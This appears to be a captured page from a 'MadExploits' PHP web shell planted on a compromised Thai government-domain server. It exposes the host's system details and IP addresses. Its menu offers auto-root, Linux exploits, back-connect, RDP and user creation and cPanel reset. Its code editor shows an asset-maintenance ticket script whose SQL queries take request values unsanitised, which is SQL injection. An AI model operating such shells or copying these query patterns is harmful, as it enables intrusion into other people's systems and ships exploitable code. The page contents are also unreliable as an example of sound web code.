Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
asset /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
asset.php
89.73
KB
-rw-r--r--
asset_budget_type.php
6.99
KB
-rw-r--r--
asset_building.php
7.37
KB
-rw-r--r--
asset_code_model.php
7.75
KB
-rw-r--r--
asset_company.php
9.95
KB
-rw-r--r--
asset_form_upload.php
4.74
KB
-rw-r--r--
asset_list.php
12.23
KB
-rw-r--r--
asset_method.php
6.91
KB
-rw-r--r--
asset_notification.php
38.37
KB
-rw-r--r--
asset_permission.php
13.12
KB
-rw-r--r--
asset_print.php
9.88
KB
-rw-r--r--
asset_print1.php
8.43
KB
-rw-r--r--
asset_print_lend.php
3.49
KB
-rw-r--r--
asset_print_lend1.php
9.59
KB
-rw-r--r--
asset_print_lend2.php
8.85
KB
-rw-r--r--
asset_print_lendAll.php
3.27
KB
-rw-r--r--
asset_print_lendAll1.php
9.84
KB
-rw-r--r--
asset_print_qrcode.php
10.28
KB
-rw-r--r--
asset_print_qrcode1.php
1.45
KB
-rw-r--r--
asset_report1.php
20
KB
-rw-r--r--
asset_report23.php
20.09
KB
-rw-r--r--
asset_report4.php
19.76
KB
-rw-r--r--
asset_report_to_excell.php
6.54
KB
-rw-r--r--
asset_set.php
8.43
KB
-rw-r--r--
asset_status3.php
85.25
KB
-rw-r--r--
asset_status40.php
85.27
KB
-rw-r--r--
asset_type.php
9.5
KB
-rw-r--r--
index.php
5.76
KB
-rw-r--r--
livesearch.php
2.11
KB
-rw-r--r--
livesearch_notification.php
954
B
-rw-r--r--
manual.php
1.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : asset_notification.php
<script type="text/javascript" src="css/scrolltop/scrolltopcontrol.js"></script> <?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); //sd page require_once("include/time_inc.php"); $officer=$_SESSION['login_user_id']; ?> <link type="text/css" href="include/jquery.DatetimePicker/jquery.datetimepicker.css" rel="stylesheet" /> <script type="text/javascript" src="include/jquery.DatetimePicker/jquery.min.js"></script> <script type="text/javascript" src="include/jquery.DatetimePicker/jquery.datetimepicker.full.js"></script> <script type="text/javascript"> $(function(){ $.datetimepicker.setLocale('th'); // ต้องกำหนดเสมอถ้าใช้ภาษาไทย และ เป็นปี พ.ศ. // กรณีใช้แบบ input #datepicker-th-1 $("#datepicker-th-1").datetimepicker({ timepicker:false, format:'d-m-Y', // กำหนดรูปแบบวันที่ ที่ใช้ เป็น 00-00-0000 lang:'th', // ต้องกำหนดเสมอถ้าใช้ภาษาไทย และ เป็นปี พ.ศ. onSELECTDate:function(dp,$input){ var yearT=new Date(dp).getFullYear()-0; var yearTH=yearT+543; var fulldate=$input.val(); var fulldateTH=fulldate.replace(yearT,yearTH); $input.val(fulldateTH); }, }); // กรณีใช้กับ input ต้องกำหนดส่วนนี้ด้วยเสมอ เพื่อปรับปีให้เป็น ค.ศ. ก่อนแสดงปฏิทิน $("#datepicker-th-1").on("mouseenter mouseleave",function(e){ var dateValue=$(this).val(); if(dateValue!=""){ var arr_date=dateValue.split("-"); // ถ้าใช้ตัวแบ่งรูปแบบอื่น ให้เปลี่ยนเป็นตามรูปแบบนั้น // ในที่นี้อยู่ในรูปแบบ 00-00-0000 เป็น d-m-Y แบ่งด่วย - ดังนั้น ตัวแปรที่เป็นปี จะอยู่ใน array // ตัวที่สอง arr_date[2] โดยเริ่มนับจาก 0 if(e.type=="mouseenter"){ var yearT=arr_date[2]-543; } if(e.type=="mouseleave"){ var yearT=parseInt(arr_date[2])+543; } dateValue=dateValue.replace(arr_date[2],yearT); $(this).val(dateValue); } }); }); function showResult(str) { var asset_id=document.getElementById("asset_id").value; var livefile=document.getElementById("livefile").value; if (str.length==0) { document.getElementById("livesearch").innerHTML=""; document.getElementById("livesearch").style.border="0px"; return; } if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (this.readyState==4 && this.status==200) { document.getElementById("livesearch").innerHTML=this.responseText; document.getElementById("livesearch").style.border="1px solid #fff"; } } xmlhttp.open("GET","modules/asset/main/livesearch_notification.php?q="+str+"&asset_id="+asset_id+"&livefile="+livefile,true); xmlhttp.send(); } </script> <?php if(!(isset($_REQUEST['officer_index']))){ $_REQUEST['officer_index']=""; } //ส่วนหัว echo "<br />"; if(!(($index==1) or ($index==2) or ($index==5) or ($index==7))){ echo "<table width='50%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>บันทึกงานบริการซ่อมบำรุง</strong></font></td></tr>"; echo "</table>"; } //ส่วนเพิ่มข้อมูล if($index==1){ $sql = "SELECT * FROM asset_main WHERE id='$asset_id' "; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); $asset_id =$result['id']; $property =$result['property']; $model =$result['model']; $code_asset =$result['code_asset']; $code_type =$result['code_type']; $sql_type = "SELECT * FROM asset_type WHERE code='$code_type' "; $dbquery_type = mysqli_query($connect,$sql_type); $result_type = mysqli_fetch_array($dbquery_type); $name_type =$result_type['name']; $life =$result_type['life']; $depreciation_rate =$result_type['depreciation_rate']; $code_list =$result['code_list']; $sql_list = "SELECT * FROM asset_list WHERE code_type='$code_type' AND code='$code_list' "; $dbquery_list = mysqli_query($connect,$sql_list); $result_list = mysqli_fetch_array($dbquery_list); $name_list =$result_list['name']; $company_id =$result['company_id']; $sql_company = "SELECT * FROM asset_company WHERE id='$company_id' "; $dbquery_company = mysqli_query($connect,$sql_company); $result_company = mysqli_fetch_array($dbquery_company); if($result_company['tel']!=''){ $tel="โทร.".$result_company['tel']; } $name_company=$result_company['name']; $address_company=$result_company['address']." ".$tel; echo "<form id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>งานแจ้งซ่อมบำรุง</B></Font>"; echo "<Br><Br>"; echo "<Table Border='0'>"; echo "<tr><td>"; echo "<font color='#c0c0c0'>ประเภท</font> ".$name_type." (".$code_type.")".str_repeat(" ", 10)."<font color='#c0c0c0'>รายการ</font> ".$name_list." (".$code_list.")<br>"; echo "<font color='#c0c0c0'>รหัส</font> ".$code_asset."<br>"; echo "<font color='#c0c0c0'>ลักษณะ/คุณสมบัติ</font> ".$result['property']."".str_repeat(" ", 10)."<font color='#c0c0c0'>รุ่น/แบบ</font> ".$result['model']."<br>"; echo "<font color='#c0c0c0'>ชื่อผู้ขาย/ผู้รับจ้าง/ผู้บริจาค</font> ".$name_company."".str_repeat(" ", 10)."<font color='#c0c0c0'>ที่อยู่</font> ".$address_company."<br>"; echo "</td></tr>"; echo "</Table>"; echo "<br>"; echo "<table border=0>"; $order_datetime =date("Y-m-d H:i:s"); echo "<input type='hidden' name='order_datetime' value='$order_datetime'>"; $order_date =date("Y-m-d"); $time =date("H:i:s"); echo "<tr> <td align=right>วันที่ </td><td>".thai_date_3($order_date)." เวลา ".$time."</td> </tr>"; $sql_person = "SELECT * FROM person_main WHERE person_id='$officer' "; $dbquery_person =mysqli_query($connect,$sql_person); $result_person =mysqli_fetch_array($dbquery_person); $prename =$result_person['prename']; $name =$result_person['name']; $surname =$result_person['surname']; echo "<input type='hidden' name='person_id' value='$officer'>"; echo "<tr> <td align=right>ผู้แจ้ง </td> <td>".$prename."".$name." ".$surname."</td> </tr>"; $workgroup =$result['workgroup']; $sql_workgroup = "SELECT * FROM system_workgroup WHERE workgroup='$workgroup' "; $dbquery_workgroup = mysqli_query($connect,$sql_workgroup); $result_workgroup = mysqli_fetch_array($dbquery_workgroup); echo "<tr> <td align=right>กลุ่ม </td> <td>".$result_workgroup['workgroup_desc']."</td> </tr>"; echo "<input type='hidden' name='workgroup' value='$workgroup'>"; $building = $result['building']; echo "<Tr align='left'><Td align='right'>อาคาร </Td> <td align='left'>"; echo "<SELECT name='building' id='building'>"; echo "<option value=''>เลือก</option>"; $sql_building = "SELECT * FROM asset_building ORDER BY code"; $dbquery_building = mysqli_query($connect,$sql_building); while($result_building = mysqli_fetch_array($dbquery_building)){ if($building == $result_building[code]){ echo "<option value='$result_building[code]' SELECTed>$result_building[name]</option>"; }else{ echo "<option value='$result_building[code]'>$result_building[name]</option>"; } } echo "</SELECT>"; echo " ชั้น <input name='floor' id='floor' size='2' value='$result[floor]'> ห้อง <input name='room' id='room' size='20' value='$result[room]'> </td></tr>"; echo "<tr> <td align=right>แจ้งข้อปัญหา/อาการ </td> <td><input name='subject' id='subject' size='80'></td> </tr>"; echo "<tr> <td align=right valign=top>รายละเอียดเพิ่มเติม (ถ้ามี) </td> <td>"; // wysiwyg_nicEdit(); echo "<textarea style='height:200px; width:70%' id='textarea_1' name='comment'></textarea>"; echo "</td></tr>"; echo "</table>"; echo "<br>"; echo "<input type='hidden' name='asset_id' value='$asset_id'>"; echo "<input type='hidden' name='code_type' value='$code_type'>"; echo "<input type='hidden' name='code_list' value='$code_list'>"; echo "<input type='hidden' name='company_id' value='$company_id'>"; echo "<INPUT TYPE='submit' name='smb' value='ตกลง' onclick='goto_url(1)' class=entrybutton> <INPUT TYPE='button' name='back' value='ย้อนกลับ' onclick='goto_url(0)' class=entrybutton'>"; echo "</Cener>"; echo "</form>"; } //ส่วนเพิ่มข้อมูล if($index==4){ $sql_Add = "SELECT max(order_no) as order_Add FROM asset_notification "; $dbquery_Add =mysqli_query($connect,$sql_Add); $result_Add = mysqli_fetch_array($dbquery_Add); $order_no = $result_Add['order_Add']+1 ; $comment = $_POST['comment']; $sql = "insert into asset_notification (id, queue, order_no, order_datetime, person_id, workgroup, asset_id, code_type, code_list, building_id, floor, room, company_id, subject, comment, remark, status, budget, note, officer_person, officer_datetime) values ('', '', '$order_no', '$_POST[order_datetime]', '$_POST[person_id]', '$_POST[workgroup]', '$_POST[asset_id]', '$_POST[code_type]', '$_POST[code_list]', '$_POST[building]', '$_POST[floor]', '$_POST[room]', '$_POST[company_id]', '$_POST[subject]', '$comment', '$_POST[remark]', '0', '0', '$_POST[note]', '$_POST[officer_person]', '$_POST[officer_datetime]')"; $dbquery = mysqli_query($connect,$sql); echo'<script>window.location="?option=asset&task=main/asset_notification";</script>'; } //ส่วนฟอร์มแก้ไขข้อมูล if (($index==5) AND ($result_permission['p2']==1)){ echo "<form id='frm1' name='frm1' method='POST'>"; echo "<input type='hidden' name='livefile' id='livefile' value='asset_notification'>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>ดำเนินการ</B></Font>"; echo "</Cener>"; echo "<Br><Br>"; $sql = "SELECT * FROM asset_notification WHERE id='$_GET[id]'"; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); $order_no =$result['order_no']; $order_datetime =$result['order_datetime']; $person_id =$result['person_id']; $queue =$result['queue']; $workgroup =$result['workgroup']; $asset_id =$result['asset_id']; $building_id =$result['building_id']; $floor =$result['floor']; $room =$result['room']; $subject =$result['subject']; $comment =$result['comment']; $remark =$result['remark']; $status =$result['status']; $budget =$result['budget']; $note =$result['note']; $officer_person =$officer; $officer_datetime =date("Y-m-d H:i:s"); echo "<input type='hidden' name='queue' value='$queue'>"; echo "<input type='hidden' name='officer_person' value='$officer_person'>"; echo "<input type='hidden' name='officer_datetime' value='$officer_datetime'>"; echo "<table border=0>"; echo "<tr bgcolor=#efffdf><td colspan='2'><img src='images/my-icons/settings.png' width='24' height='24'> ข้อมูลการแจ้งปัญหา</td></tr>"; echo "<tr> <td align=right><font color=#c0c0c0>ใบซ่อมที่</font> </td><td>no.".$order_no."".str_repeat(" ", 10)."<font color='#c0c0c0'>คิวที่</font> ".$queue; echo "</td> </tr>"; echo "<tr> <td align=right><font color=#c0c0c0>วันที่</font> </td><td>".thai_date_5($order_datetime)."</td> </tr>"; $sql_person = "SELECT * FROM person_main WHERE person_id='$person_id' "; $dbquery_person =mysqli_query($connect,$sql_person); $result_person =mysqli_fetch_array($dbquery_person); $prename =$result_person['prename']; $name =$result_person['name']; $surname =$result_person['surname']; echo "<tr> <td align=right><font color=#c0c0c0>ผู้แจ้ง</font> </td> <td>".$prename."".$name." ".$surname."</td> </tr>"; echo "<input type='hidden' name='person_id' value='$person_id'>"; $workgroup =$result['workgroup']; $sql_workgroup = "SELECT * FROM system_workgroup WHERE workgroup='$workgroup' "; $dbquery_workgroup = mysqli_query($connect,$sql_workgroup); $result_workgroup = mysqli_fetch_array($dbquery_workgroup); echo "<tr> <td align=right><font color=#c0c0c0>กลุ่ม</font> </td> <td>".$result_workgroup['workgroup_desc']."</td> </tr>"; echo "<input type='hidden' name='workgroup' value='$workgroup'>"; $building = $result['building']; echo "<Tr align='left'><Td align='right'>อาคาร </Td> <td align='left'>"; echo "<SELECT name='building_id' id='building_id'>"; echo "<option value=''>เลือก</option>"; $sql_building = "SELECT * FROM asset_building ORDER BY code"; $dbquery_building = mysqli_query($connect,$sql_building); while($result_building = mysqli_fetch_array($dbquery_building)){ if($building_id == $result_building[code]){ echo "<option value='$result_building[code]' SELECTed>$result_building[name]</option>"; }else{ echo "<option value='$result_building[code]'>$result_building[name]</option>"; } } echo "</SELECT>"; echo " ชั้น <input name='floor' id='floor' size='2' value='$result[floor]'> ห้อง <input name='room' id='room' size='20' value='$result[room]'> </td></tr>"; echo "<tr> <td align=right>แจ้งข้อปัญหา/อาการ </td> <td>"; ?> <input name='subject' id='subject' size='50' value='<?php echo $subject; ?>' onkeyup="showResult(this.value)"> <div id="livesearch"></div> <?php echo "</td> </tr>"; echo "<tr> <td align=right valign=top>รายละเอียดเพิ่มเติม (ถ้ามี) </td>"; echo "<td>"; echo "<textarea style='height:200px; width:70%' id='textarea_1' name='comment'>$comment</textarea>"; echo "</td> </tr>"; echo "<tr><td> </td><td></td></tr>"; echo "<tr bgcolor=#ffefdf><td colspan='2'><img src='images/my-icons/service-1.png' width='24' height='24'> ข้อมูลการดำเนินการ</td></tr>"; echo "<tr> <td align=right><font color=blue>ผู้รับแจ้ง</font> </td> <td>".$_SESSION[login_prename]."".$_SESSION[login_name]." ".$_SESSION[login_surname]."</td> </tr>"; switch ($status){ case 0: $checked="checked"; break; case 1: $checked1="checked"; break; case 2: $checked2="checked"; break; case 3: $checked3="checked"; break; case 4: $checked4="checked"; break; } echo "<Tr align='left'><Td align='right' valign='top'><font color=blue>สถานะการดำเนินการ</font> </Td><td align='left'>"; echo "<input type='radio' name='status' id='status' value='0' $checked><font color=red> รอดำเนินการ </font>"; echo "<input type='radio' name='status' id='status' value='1' $checked1><font color=blue> กำลังดำเนินการ </font>"; echo "<input type='radio' name='status' id='status' value='2' $checked2><font color=blue> ส่งเคลม </font>"; echo "<input type='radio' name='status' id='status' value='3' $checked3><font color=red> ซ่อมไม่ได้/รอจำหน่าย </font>"; echo "<input type='radio' name='status' id='status' value='4' $checked4> เสร็จเรียบร้อย"; echo "</td></tr>"; //เลือกบริษัทส่งเคลมทรัพย์สิน $company_id =$result['company_id']; echo "<Tr align='left'><Td align='right'><font color=blue>ชื่อผู้ขาย/ผู้รับจ้าง/ผู้บริจาค</font> (กรณีส่งเคลม) </Td><td align='left'>"; echo "<SELECT name='company_id' id='company_id'>"; if($compamy_id==0){ echo "<option value='' SELECTed>เลือก</option>"; } $sql_company = "SELECT * FROM asset_company ORDER BY name"; $dbquery_company = mysqli_query($connect,$sql_company); while($result_company = mysqli_fetch_array($dbquery_company)){ if($company_id == $result_company[id]){ echo "<option value='$result_company[id]' SELECTed>$result_company[name]</option>"; }else{ echo "<option value='$result_company[id]'>$result_company[name]</option>"; } } echo "</SELECT>"; echo "</td></tr>"; echo "<tr> <td align=right valign=top><font color=blue>ค่าซ่อมบำรุงรักษา/งบประมาณทั้งสิ้น</font> </td> <td><input name='budget' id='budget' size='10' value='$budget' style='text-align:right;'> บาท</td> </tr>"; echo "<tr> <td align=right valign=top><font color=blue>สาเหตุ/วิธีแก้ไข</font> </td> <td>"; echo "<textarea style='height:200px; width:70%' id='textarea_2' name='remark'>$remark</textarea>"; echo "</td> </tr>"; echo "<tr> <td align=right valign=top><font color=blue>หมายเหตุ</font> </td> <td>"; echo "<textarea style='height:200px; width:70%' id='textarea_3' name='note'>$note</textarea>"; echo "</td> </tr>"; echo "</table>"; echo "<br>"; echo "<Input Type=Hidden Name='page' Value='$page'>"; echo "<Input Type=Hidden Name='asset_id' Value='$asset_id'>"; echo "<Input Type=Hidden Name='id' Value='$_GET[id]'>"; echo "<INPUT TYPE='submit' name='smb' value='ตกลง' onclick='goto_url_update(1)' class=entrybutton> <INPUT TYPE='submit' name='back' value='ย้อนกลับ' onclick='goto_url_update(0)' class=entrybutton'>"; echo "</form>"; } //ส่วนปรับปรุงข้อมูล if ( ($index==6) AND ($result_permission['p2']==1) ){ $status = $_POST['status']; switch ($status){ case 0: $status_main='10'; break; case 1: $status_main='10'; break; case 2: $status_main='10'; break; case 3: $status_main='40'; break; case 4: $status_main='1'; break; } $queue = $_POST['queue']; if ($queue =='0') { $sql_Add = "SELECT max(queue) as queue_Add FROM asset_notification "; $dbquery_Add =mysqli_query($connect,$sql_Add); $result_Add =mysqli_fetch_array($dbquery_Add); $queue =$result_Add['queue_Add']+1; }else{ if( ($status=='3') or ($status=='4') ){ $queue='0'; }else{ $sql="UPDATE asset_notification SET queue='$queue-1' WHERE queue!='0'"; $dbquery =mysqli_query($connect,$sql); $result =mysqli_fetch_array($dbquery); } } $comment = $_POST['comment']; $remark = $_POST['remark']; $note = $_POST['note']; //แจ้งสถานะของทรัพย์สิน อยู่ระหว่างซ่อม/รอจำหน่าย $sql = "UPDATE asset_main SET status='$status_main' WHERE id='$asset_id' "; $dbquery = mysqli_query($connect,$sql); //บันทึกงานซ่อมบำรุง $sql = "UPDATE asset_notification SET queue='$queue', building_id='$_POST[building_id]', floor='$_POST[floor]', room='$_POST[room]', company_id='$_POST[company_id]', subject='$_POST[subject]', comment='$comment', remark='$remark', status='$_POST[status]', budget='$_POST[budget]', note='$note', officer_person='$officer', officer_datetime='$officer_datetime' WHERE id='$_POST[id]'"; $dbquery = mysqli_query($connect,$sql); //echo "<script type='text/javascript'>window.location.href = \"?option=asset&task=main/asset_notification&page=$_POST[page]\";</script>"; echo "<Meta http-equiv=refresh content='0;URL=?option=asset&task=main/asset_notification&page=$_POST[page]'>"; } //ส่วนแสดงรายละเอียด if ($index==7){ echo "<div align=right> <INPUT TYPE='button' name='smb' value='<<กลับหน้าก่อน' onclick='location.href=\"javascript:history.back(-1)\"'> </div>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>รายละเอียดการแจ้งซ่อมทรัพย์สิน</B></Font>"; echo "</Cener><br>"; if( $asset_id!='' ){ $sql = "SELECT * FROM asset_notification WHERE asset_id='$asset_id' AND status<3 "; }else{ $sql = "SELECT * FROM asset_notification WHERE id='$_GET[id]' "; } $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); $order_no =$result['order_no']; $order_datetime =$result['order_datetime']; $person_id =$result['person_id']; $workgroup =$result['workgroup']; $asset_id =$result['asset_id']; $building_id =$result['building_id']; $floor =$result['floor']; $room =$result['room']; $subject =$result['subject']; $comment =$result['comment']; $remark =$result['remark']; $status =$result['status']; $budget =$result['budget']; $note =$result['note']; $officer_person =$officer; $officer_datetime =date("Y-m-d H:i:s"); echo "<table border=0>"; echo "<tr bgcolor=#efffdf><td colspan='2'><img src='images/my-icons/settings.png' width='32' height='32'> ข้อมูลการแจ้งปัญหา</td></tr>"; echo "<tr> <td align=right><font color=#c0c0c0>ใบซ่อมที่</font> </td><td>".$order_no."</td> </tr>"; echo "<tr> <td align=right><font color=#c0c0c0>วันที่แจ้ง</font> </td><td>".thai_datetime_full($order_datetime)."</td> </tr>"; $sql_person = "SELECT * FROM person_main WHERE person_id='$person_id' "; $dbquery_person =mysqli_query($connect,$sql_person); $result_person =mysqli_fetch_array($dbquery_person); $prename =$result_person['prename']; $name =$result_person['name']; $surname =$result_person['surname']; echo "<tr> <td align=right><font color=#c0c0c0>ผู้แจ้ง</font> </td> <td>".$prename."".$name." ".$surname."</td> </tr>"; $workgroup =$result['workgroup']; $sql_workgroup = "SELECT * FROM system_workgroup WHERE workgroup='$workgroup' "; $dbquery_workgroup = mysqli_query($connect,$sql_workgroup); $result_workgroup = mysqli_fetch_array($dbquery_workgroup); echo "<tr> <td align=right><font color=#c0c0c0>กลุ่ม</font> </td> <td>".$result_workgroup['workgroup_desc']."</td> </tr>"; $building = $result['building']; $sql_building = "SELECT * FROM asset_building ORDER BY code"; $dbquery_building = mysqli_query($connect,$sql_building); $result_building = mysqli_fetch_array($dbquery_building); echo "<Tr align='left'><Td align='right'><font color=#c0c0c0>อาคาร</font> </Td> <td align='left'>".$result_building['name']." <font color=#c0c0c0>ชั้น</font> ".$result['floor']." <font color=#c0c0c0>ห้อง</font> ".$result['room']."</td></tr>"; echo "<tr> <td align=right><font color=#c0c0c0>แจ้งข้อปัญหา/อาการ</font> </td> <td>".$subject."</td></tr>"; echo "<tr> <td align=right valign=top><font color=#c0c0c0>รายละเอียดเพิ่มเติม (ถ้ามี)</font> </td> <td>".$comment."</td> </tr>"; echo "<tr bgcolor=#ffefdf><td colspan='2'><img src='images/my-icons/service-1.png' width='24' height='24'> ข้อมูลการดำเนินการ</td></tr>"; echo "<tr> <td align=right><font color=#c0c0c0>ผู้รับแจ้ง</font> </td> <td>".$_SESSION[login_prename]."".$_SESSION[login_name]." ".$_SESSION[login_surname]."</td> </tr>"; echo "<tr> <td align=right><font color=#c0c0c0>วันที่ดำเนินการ</font> </td><td>".thai_datetime_full($officer_datetime)."</td> </tr>"; switch ($status){ case 0: $status_mark="<font color=red> รอดำเนินการ</font>"; break; case 1: $status_mark="<font color=green> กำลังดำเนินการ</font>"; break; case 2: $status_mark="<font color=blue> ส่งเคลม</font>"; break; case 3: $status_mark="<font color=red> ซ่อมไม่ได้/รอจำหน่าย</font>"; break; case 4: $status_mark="เสร็จเรียบร้อย"; break; } echo "<Tr align='left'><Td align='right' valign='top'><font color=#c0c0c0>สถานะการดำเนินการ</font> </Td><td align='left'>".$status_mark."</td></tr>"; if ( $status == '2' ){ //เลือกบริษัทส่งเคลมทรัพย์สิน $company_id =$result['company_id']; $sql_company = "SELECT * FROM asset_company ORDER BY name"; $dbquery_company = mysqli_query($connect,$sql_company); $result_company = mysqli_fetch_array($dbquery_company); if( $result_company[tel] == '' ){ $tel=''; }else{ $tel=" โทร.".$result_company[tel]; } echo "<Tr align='left'><Td align='right'><font color=#c0c0c0>ชื่อผู้ขาย/ผู้รับจ้าง/ผู้บริจาค</font> (กรณีส่งเคลม) </Td> <td align='left'><font color=blue>".$result_company['name']." ที่อยู่ ".$result_company['name']." ".$tel."</font></td></tr>"; } echo "<tr> <td align=right valign=top><font color=#c0c0c0>ค่าซ่อมบำรุงรักษา/งบประมาณทั้งสิ้น</font> </td> <td>".number_format($budget,2)."</td> </tr>"; echo "<tr> <td align=right valign=top><font color=#c0c0c0>สาเหตุ/วิธีแก้ไข</font> </td> <td>".$remark."</td> </tr>"; echo "<tr> <td align=right valign=top><font color=#c0c0c0>หมายเหตุ</font> </td> <td>".$note."</td> </tr>"; echo "</table>"; } //ส่วนการแสดงผล if(!(($index==1) or ($index==2) or ($index==5) or ($index==7))){ if($_REQUEST['queue']==''){ $sql = "SELECT * FROM asset_notification ORDER BY queue DESC, order_no DESC"; }else{ $sql = "SELECT * FROM asset_notification WHERE status='1' or status='2' ORDER BY queue DESC, order_no DESC"; } $dbquery = mysqli_query($connect,$sql); $num_rows=mysqli_num_rows($dbquery); //นำไปแยกหน้า if($num_rows!='0'){ //ส่วนของการแยกหน้า $pagelen=50 ; // 1.กำหนดแถวต่อหน้า $url_link="option=asset&task=main/asset_notification"; // 2_กำหนดลิงค์ฺ $totalpages=ceil($num_rows/$pagelen); if(!(isset($_REQUEST['page']))){ $_REQUEST['page']=""; } if($_REQUEST['page']==""){ $page=$totalpages; if($page<2){ $page=1; } } else{ if($totalpages<$_REQUEST['page']){ $page=$totalpages; if($page<1){ $page=1; } } else{ $page=$_REQUEST['page']; } } $start=($page-1)*$pagelen; if(($totalpages>1) AND ($totalpages<7)){ //echo "<div align=center>"; //echo "หน้า "; echo "<nav><ul class='pagination'>"; echo "<li><a>หน้า $page จาก $totalpages</a></li>"; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ //echo "[<b><font size=+1 color=#990000>$i</font></b>]"; echo " <li><a href=''><font color=#990000>$i</font></a></li> "; } else { //echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; echo "<li><a href=$PHP_SELF?$url_link&page=$i> $i </a></li>"; } } //echo "</div>"; echo "</nav>"; } if($totalpages>6){ if($page <=3){ $e_page=6; $s_page=1; } if($page>3){ if($totalpages-$page>=3){ $e_page=$page+3; $s_page=$page-3; } else{ $e_page=$totalpages; $s_page=$totalpages-6; } } //echo "<div align=center>"; echo "<nav><ul class='pagination'>"; echo "<li><a>หน้า $page จาก $totalpages</a></li>"; if($page!=1){ $f_page1=$page-1; //echo "<<a href=$PHP_SELF?$url_link&page=1>หน้าแรก </a>"; //echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>หน้าก่อน </a>"; echo "<li><a href=$PHP_SELF?$url_link&page=1 aria-label='หน้าแรก'> <span aria-hidden='true'>หน้าแรก</span></a></li>"; echo "<li><a href=$PHP_SELF?$url_link&page=$f_page1 aria-label='หน้าก่อน'> <span aria-hidden='true'>หน้าก่อน</span></a></li>"; } else { //echo "หน้า "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ //echo "[<b><font size=+1 color=#990000>$i</font></b>]"; echo " <li><a href=''><font color=#990000><strong>$i</strong></font></a></li> "; } else { //echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; echo "<li><a href=$PHP_SELF?$url_link&page=$i>$i</a></li>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<li><a href=$PHP_SELF?$url_link&page=$f_page2 aria-label='หน้าถัดไป'> <span aria-hidden='true'>หน้าถัดไป</span></a></li>"; echo "<li><a href=$PHP_SELF?$url_link&page=$totalpages aria-label='หน้าสุดท้าย'> <span aria-hidden='true'>หน้าสุดท้าย>$totalpages</span></a></li>"; //echo "<a href=$PHP_SELF?$url_link&page=$f_page2> หน้าถัดไป</a>>>"; //echo "<a href=$PHP_SELF?$url_link&page=$totalpages> หน้าสุดท้าย</a>>"; } echo " <SELECT onchange=\"location.href=this.options[this.SELECTedIndex].value;\" size=\"1\" name=\"SELECT\">"; echo "<option value=\"\">หน้า</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</SELECT>"; //echo "</div>"; echo "</nav>"; } //จบแยกหน้า //นับจำนวนคิวที่รอ กำลังดำเนินการ/ส่งเคลม $sql = "SELECT count(id) as queue_All FROM asset_notification WHERE queue!='0' "; $dbquery = mysqli_query($connect,$sql); $result=mysqli_fetch_array($dbquery); $queue_All=$result['queue_All']; if($queue==''){ $sql = "SELECT * FROM asset_notification ORDER BY queue DESC, order_no DESC limit $start,$pagelen"; }else{ $sql = "SELECT * FROM asset_notification WHERE status='1' or status='2' ORDER BY queue DESC, order_no DESC limit $start,$pagelen"; } $dbquery = mysqli_query($connect,$sql); } echo "<table class='myTableGreen'>"; echo "<tr><td colspan='7' align=right>"; if($queue==''){ echo "<INPUT TYPE='button' name='smb' value='แสดงเฉพาะในคิว' onclick='location.href=\"?option=asset&task=main/asset_notification&queue=1\"'>"; //echo "<a href='javascript:history.back(-1)'>แสดงเฉพาะกิจกรรม</a>"; }else{ echo "<INPUT TYPE='button' name='smb' value='แสดงทุกรายการ' onclick='location.href=\"?option=asset&task=main/asset_notification\"'>"; } echo "</td></tr>"; echo "<tr> <th nowrap>คิวซ่อม</th> <th nowrap>ใบแจ้งซ่อม</th> <th nowrap>ผู้แจ้งซ่อม/วันที่แจ้งซ่อม</th> <th>รายการแจ้งซ่อม</th> <th nowrap>ผู้รับแจ้งซ่อม/วันที่ดำเนินการ</th> <th nowrap>สถานะ</th> <th nowrap>รายละเอียด</th></Tr>"; if($num_rows!='0'){ $N=(($page-1)*$pagelen)+1; //*เกี่ยวข้องกับการแยกหน้า $M=1; While ($result = mysqli_fetch_array($dbquery)) { $id =$result['id']; $order_no =$result['order_no']; $order_datetime =$result['order_datetime']; $queue =$result['queue']; if($queue!='0'){ $queue=$queue."/".$queue_All; }else{ $queue='-'; } echo "<tr>"; echo "<td nowrap align='center' valign='top'>".$queue."</td>"; echo "<td nowrap align='center' valign='top'>no.".$order_no."</td>"; $person_id =$result['person_id']; $sql_person = "SELECT * FROM person_main WHERE person_id='$person_id' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $person_id_name=$result_person['prename']."".$result_person['name']." ".$result_person['surname']; $sql_workgroup = "SELECT * FROM system_workgroup WHERE workgroup='$result_person[department]'"; $dbquery_workgroup = mysqli_query($connect,$sql_workgroup); $result_workgroup=mysqli_fetch_array($dbquery_workgroup); $workgroup_desc=$result_workgroup['workgroup_desc']; 